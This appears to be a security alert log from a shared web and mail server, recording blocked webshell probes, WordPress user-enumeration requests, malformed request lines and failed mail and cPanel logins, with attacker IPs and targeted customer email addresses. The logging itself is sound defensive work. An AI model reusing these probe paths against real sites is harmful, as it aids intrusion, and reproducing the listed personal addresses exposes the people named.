IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/malaysia-infinity-design-projects/images/press.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.179.181.188
country_id: 1562822
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/productdetails.php?id=2108 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.167.198.31
country_id: 1814991
description:
2026-01-30 08:07:07 dovecot_login authenticator failed for H=([183.167.198.31]) [183.167.198.31]:41074: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.167.198.31
country_id: 1814991
description:
Jan 30 08:07:05 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.167.198.31 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.51.56.154
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:08-08.196.51.56.154||RSV:7.69||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 08:08:38 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 08:09:45 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.1.138.184
country_id: 1814991
description:
2026-01-30 08:09:38 dovecot_login authenticator failed for H=([180.173.123.76]) [218.1.138.184]:11026: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 08:10:18 H=(localhost.localdomain) [45.150.192.143]:37298 F=<info@kapkenya.org> temporarily rejected RCPT <inquiries@ktlog.com.my>: Could not complete sender verify


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.154.65.237
country_id: 3686110
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/productdetails.php?id=1983 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.87.152
country_id: 1814991
description:
Jan 30 08:10:54 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.87.152 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.87.152
country_id: 1814991
description:
2026-01-30 08:10:56 dovecot_login authenticator failed for H=([111.61.87.152]) [111.61.87.152]:24026: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.193.147.75
country_id: 1269750
description:
2026-01-30 08:11:21 dovecot_login authenticator failed for H=([203.193.147.75]) [203.193.147.75]:33432: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 08:11:51 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 169.211.232.182
country_id: 1835841
description:
Jan 30 08:11:56 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 169.211.232.182 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 169.211.232.182
country_id: 1835841
description:
2026-01-30 08:11:58 dovecot_login authenticator failed for H=([169.211.232.182]) [169.211.232.182]:33116: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.212.225.99
country_id: 1835841
description:
Jan 30 08:12:32 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.212.225.99 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.5
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/lib/systemd/resolv.conf||User:root||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-01-30 08:12:34 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:45800: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.42.113.10
country_id: 1814991
description:
Jan 30 08:14:00 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.42.113.10 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.42.113.10
country_id: 1814991
description:
2026-01-30 08:14:02 dovecot_login authenticator failed for H=([182.42.113.10]) [182.42.113.10]:53164: 535 Incorrect authentication data (set_id=admin@mkmetal.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.59.186.175
country_id: 3057568
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=791633 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 08:14:12 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/images/home/project.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 08:15:20 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-30 08:16:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:54625: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 08:17:25 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.22.13.54
country_id: 3865483
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=1&page_id=1&sub=33 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.255.50
country_id: 1269750
description:
2026-01-30 08:19:19 dovecot_login authenticator failed for H=(nsg-corporate-50.255.186.122.airtel.in) [122.186.255.50]:60322: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.160.15
country_id: 2635167
description:
2026-01-30 08:19:27 H=([64.89.160.15]) [64.89.160.15]:62935 F=<essential@mailling.uk> rejected RCPT <miya@hmz.com.my>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 08:19:48 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.150.36.20
country_id: 3585968
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=12741516002714 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 08:20:56 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.164.148.87
country_id: 1512440
description:
Jan 30 08:20:06 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.164.148.87 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.164.148.87
country_id: 1512440
description:
2026-01-30 08:20:08 dovecot_login authenticator failed for H=([62.164.148.87]) [62.164.148.87]:57198: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.119
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/home/article.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.103.126.54
country_id: 2264397
description:
Jan 30 08:22:56 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.103.126.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-30 08:22:58 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:28213: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.65.140.218
country_id: 3017382
description:
Jan 30 08:22:10 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.65.140.218 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.65.140.218
country_id: 3017382
description:
2026-01-30 08:22:12 dovecot_login authenticator failed for H=82-65-140-218.subs.proxad.net [82.65.140.218]:45736: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.94.76.126
country_id: 1149361
description:
2026-01-30 08:22:22 dovecot_login authenticator failed for H=([180.94.76.126]) [180.94.76.126]:59697: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 08:23:06 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 212.32.50.16
country_id: 6252001
description:
2026-01-30 08:23:59 dovecot_login authenticator failed for H=(ADMIN) [212.32.50.16]:24974: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/index.php/img/druma_photos/awards.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.206.24.234
country_id: 1835841
description:
Jan 30 08:24:48 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.206.24.234 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.206.24.234
country_id: 1835841
description:
2026-01-30 08:24:50 dovecot_login authenticator failed for H=([210.206.24.238]) [210.206.24.234]:2426: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.49.166
country_id: 1269750
description:
Jan 30 08:24:13 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.49.166 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.49.166
country_id: 1269750
description:
2026-01-30 08:24:15 dovecot_login authenticator failed for H=([182.95.21.30]) [182.95.49.166]:47852: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 180.188.253.150
country_id: 1269750
description:
Jan 30 08:25:22 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 180.188.253.150 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.188.253.150
country_id: 1269750
description:
2026-01-30 08:25:24 dovecot_login authenticator failed for H=([180.188.253.150]) [180.188.253.150]:50862: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 08:25:30 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.254.70.217
country_id: 2750405
description:
[2026-01-30 08:25:41 +0800] info [webmaild] 5.254.70.217 - payment@tujusetia.my "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 08:26:39 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.183.243.123
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=1&sub=36 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.133.160.116
country_id: 690791
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=57731515983204 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 5.36.109.135
country_id: 286963
description:
2026-01-30  8:28:51 960289 [Warning] Aborted connection 960289 to db: 'unconnected' user: 'unauthenticated' host: '5.36.109.135' (This connection closed normally without authentication)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-30 08:28:23 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.64
country_id: 130758
description:
Jan 30 08:28:44 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.64 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 158.62.210.134
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:08-29.158.62.210.134||RSV:7.69||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.19.182.118
country_id: 1269750
description:
Jan 30 08:30:17 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.19.182.118 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/index.php/images/about.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.115.194
country_id: 1269750
description:
Jan 30 08:30:08 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.115.194 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.115.194
country_id: 1269750
description:
2026-01-30 08:30:10 dovecot_login authenticator failed for H=([182.95.115.194]) [182.95.115.194]:51932: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.182.118
country_id: 1269750
description:
2026-01-30 08:30:19 dovecot_login authenticator failed for H=([59.145.86.177]) [125.19.182.118]:47398: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.36.223.102
country_id: 1814991
description:
2026-01-30 08:32:44 dovecot_login authenticator failed for H=([103.36.223.102]) [103.36.223.102]:50291: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 78.138.117.191
country_id: 2921044
domain: ms-chemicals.net
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:7.69||T:APACHE||MV:/wp-json/wp/v2/users/1||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-30 08:32:18 +0800] info [webmaild] 203.106.96.63 - infocal@sutsb.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.160.15
country_id: 2635167
description:
2026-01-30 08:33:24 H=([64.89.160.15]) [64.89.160.15]:53581 F=<essential@mailling.uk> rejected RCPT <roz@af-sb.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.103.126.54
country_id: 2264397
description:
Jan 30 08:34:58 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.103.126.54 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.228.237.90
country_id: 1814991
description:
Jan 30 08:34:30 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.228.237.90 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.228.237.90
country_id: 1814991
description:
2026-01-30 08:34:32 dovecot_login authenticator failed for H=([221.228.237.90]) [221.228.237.90]:28278: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.179.93.147
country_id: 1835841
description:
Jan 30 08:34:34 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.179.93.147 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.179.93.147
country_id: 1835841
description:
2026-01-30 08:34:36 dovecot_login authenticator failed for H=([121.179.93.147]) [121.179.93.147]:59262: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-30 08:35:00 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (phardhind) [87.103.126.54]:3082: 535 Incorrect authentication data (set_id=info@modern.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 08:35:25 H=(localhost.localdomain) [45.150.192.143]:60198 F=<info@kapkenya.org> temporarily rejected RCPT <info@pspoly.com.my>: Could not complete sender verify


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 138.229.96.217
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:08-35.138.229.96.217||RSV:7.69||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 165.22.212.32
country_id: 1269750
description:
[2026-01-30 08:36:01 +0800] info [cpaneld] 165.22.212.32 - agpc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user agpc (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.174.34.49
country_id: 1269750
description:
Jan 30 08:36:28 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.174.34.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.174.34.49
country_id: 1269750
description:
2026-01-30 08:36:30 dovecot_login authenticator failed for H=([103.174.34.49]) [103.174.34.49]:58105: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.24.134.148
country_id: 2661886
description:
Jan 30 08:37:50 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.24.134.148 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.24.134.148
country_id: 2661886
description:
2026-01-30 08:37:52 dovecot_plain authenticator failed for H=h-85-24-134-148.a240.priv.bahnhof.se (faverteed) [85.24.134.148]:42993: 535 Incorrect authentication data (set_id=khairul_aa@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 198.251.61.45
country_id: 6251999
description:
2026-01-30 08:41:12 dovecot_login authenticator failed for H=([198.251.61.45]) [198.251.61.45]:41123: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.164.70.250
country_id: 1562822
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/productdetails.php?id=4160 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 121.122.111.99
country_id: 1733045
domain: www.box.com.my
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:7.69||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.93.167.144
country_id: 1835841
description:
Jan 30 08:43:04 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.93.167.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.93.167.144
country_id: 1835841
description:
2026-01-30 08:43:06 dovecot_login authenticator failed for H=([220.93.167.144]) [220.93.167.144]:43116: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 169.211.232.182
country_id: 1835841
description:
2026-01-30 08:44:57 dovecot_login authenticator failed for H=([169.211.232.182]) [169.211.232.182]:54202: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-30 08:44:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:54857: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 169.211.232.182
country_id: 1835841
description:
Jan 30 08:44:55 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 169.211.232.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.12.86.90
country_id: 1269750
description:
Jan 30 08:45:08 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.12.86.90 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.4.81.106
country_id: 1562822
description:
2026-01-30 08:45:09 dovecot_login authenticator failed for H=([117.4.81.106]) [117.4.81.106]:50329: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.12.86.90
country_id: 1269750
description:
2026-01-30 08:45:10 dovecot_login authenticator failed for H=(mail.tataidc.com) [61.12.86.90]:49796: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.160.15
country_id: 2635167
description:
2026-01-30 08:45:52 H=([64.89.160.15]) [64.89.160.15]:55286 F=<essential@mailling.uk> rejected RCPT <sales@cordage.com.my>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.253.160.8
country_id: 174982
description:
2026-01-30 08:47:20 dovecot_login authenticator failed for H=(ADMIN) [185.253.160.8]:29633: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.208.106.16
country_id: 3175395
description:
Jan 30 08:47:21 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.208.106.16 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 113.30.190.49
country_id: 2921044
description:
2026-01-30 08:47:32 H=([113.30.190.49]) [113.30.190.49]:54056 F=<administrator@astlog.com.my> rejected RCPT <astpkg@astlog.com.my>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.76.107.16
country_id: 1269750
description:
2026-01-30 08:49:28 dovecot_login authenticator failed for H=(nsg-static-16.107.76.182-airtel.com) [182.76.107.16]:57644: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-30 08:49:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:51858: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.105.18.85
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/services.php HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-30 08:50:28 H=([45.144.212.242]) [45.144.212.242]:55411 F=<no_reply@admin.com> rejected RCPT <info@sutsb.com.my>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.255.67.21
country_id: 1562822
description:
2026-01-30 08:51:15 dovecot_plain authenticator failed for H=(1J0G627F) [171.255.67.21]:42590: 535 Incorrect authentication data (set_id=rubinee.arulanantham@cofreth.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.186.66.249
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=34351516691467 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.103.126.54
country_id: 2264397
description:
Jan 30 08:53:03 sv3 auth[1641938]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.103.126.54 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-30 08:53:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:51994: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
